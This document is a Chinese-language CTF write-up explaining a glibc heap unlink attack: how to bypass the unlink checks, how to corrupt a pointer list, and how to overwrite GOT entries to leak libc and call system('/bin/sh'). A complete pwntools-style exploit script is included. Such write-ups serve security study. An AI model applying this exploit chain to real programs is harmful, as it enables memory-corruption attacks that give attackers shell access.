heap unlink

bin地址

0x00问题所在

  1. free后的堆指针没用置空
  2. free没有对flag进行判断是否已经free过了
  • 发生在free一个chunk,发现相邻的chunk处于free状态,从bin双链表取出来的时候,合并至少两个free chunk。前一个chunk的状态通过p->presize的最低位来判断,后一个chunk的状态通过(p+p->size+(p+size)->size)->presize的最低位来判断。

  • unlink的检查:

    • p->fd->bk == p && p->bk->fd == p

      绕过:寻找*ptr == p

    • ((p+p->size)->presize)&0x1 == 0 && ((p+p->size)->preseize) == p->size

      绕过:覆盖nextchunk的presize

  • unlink

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    //定义:
    FD = p->fd;
    BK = p->bk;
    FD->bk = BK;
    BK->fd = FD;
    //方法:
    p->fd = ptr-0x8*3;
    p->bk = ptr-0x8*2;
    //效果:
    *ptr = p->fd;
    //*ptr = ptr-0x8*3

0x02分析

  • 堆指针依次保存在0x6020e0 中,记为list

    1
    2
    3
    unsigned long int list;
    list[i*2] = chunkp;
    list[i*2+1] = flag;
  • 利用unlink篡改堆指针,因为构造一次unlink只能修改ptr处的值,而且ptr必需保存unlink对象堆的指针,所以尽量把他修改为保存堆指针list中的某处地址,然后伪造list中的数据,再利用edit,修改list中伪造地址的数据

  • 构造unlinkfd, bk,要使ptr-0x8*3落在list地址的范围,同时ptr还要保存unlink对象堆地址,也就是list[i*2],取ptr == list+0x18+0x8 == list[4],即unlink(chunk2),配合unlink还需要一个相邻的堆,所以考虑先获得两个堆的指针。

0x03利用

  • 首先申请两个0x100的堆再释放,目的是保存两个堆的指针,接着申请0x100*2+0x10(chunk header size)的堆,这个堆应该填充在先前释放的两个堆的位置。

  • 然后free后面一个实际上不存在,但是有个残留指针的堆,触发前一个堆的unlink, 导致*ptr == list[4]修改为ptr-0x8*3 == list+0x18+0x8-0x8*3 == list[1]即chunk1的flag处。

  • 利用edit(chunk2)修改list的数据,从chunk1的flag处开始,修改list[2] = free@got; list[4] = read@got

  • 利用edit(chunk1)修改free函数地址为puts函数地址,然后free(chunk2)就会打印read函数的地址

  • 利用动态链接库计算system函数的地址,并用edit(chunk1)修改free(puts)函数地址为puts函数地址

  • 任意申请一个堆存入/bin/sh\x00,调用free即触发system

0x04code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# use to save two pointers in list, not fastbin
create(2, 0x100, 'a')
create(1, 0x100, 'a')

delete(2)
delete(1)

list_addr = 0x6020e0

# p_addr also set to list[4](save index2's pointer)
p_addr = list_addr + 0x18 + 0x8
# size = 0x100+0x100+0x10(chunk1 header)
# fake data(low addr --> high addr): chunk0p->(presize, size&inuse, fd, bk, data), chunk1p->(presize, size&inuse)
# keep: [1]p->fd->bk == p->bk->fd == p, [2]p->size == (p+size)->presize
create(2, 0x210, p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'a'*(0x100-0x20)+p64(0x100)+p64(0x210-0x100))

# when free chunk1, inuse bit is `0`, than unlink chunk0, p->fd->bk = p->bk, p->bk->fd = p->fd
# *p_addr = p->fd = p_addr-0x18 = list_addr+0x8
delete(1)

# fake data: index0_flag, index1p, index1_flag, index2p, index2_flag
edit(2, p64(0)+p64(elf.got['free'])+p64(1)+p64(elf.got['read'])+p64(1))


# change free to puts
edit(1, p64(elf.symbols['puts']))

# puts(&list[4]) == puts(free@got)
delete(2)

read_addr = u64(p.recv(6) + '\x00'*2)
system_addr = libc.symbols['system'] - libc.symbols['read'] + read_addr

# change puts to system
edit(1, p64(system_addr))

create(3, 0x20, '/bin/sh')

# system('/bin/sh')
delete(3)
p.interactive()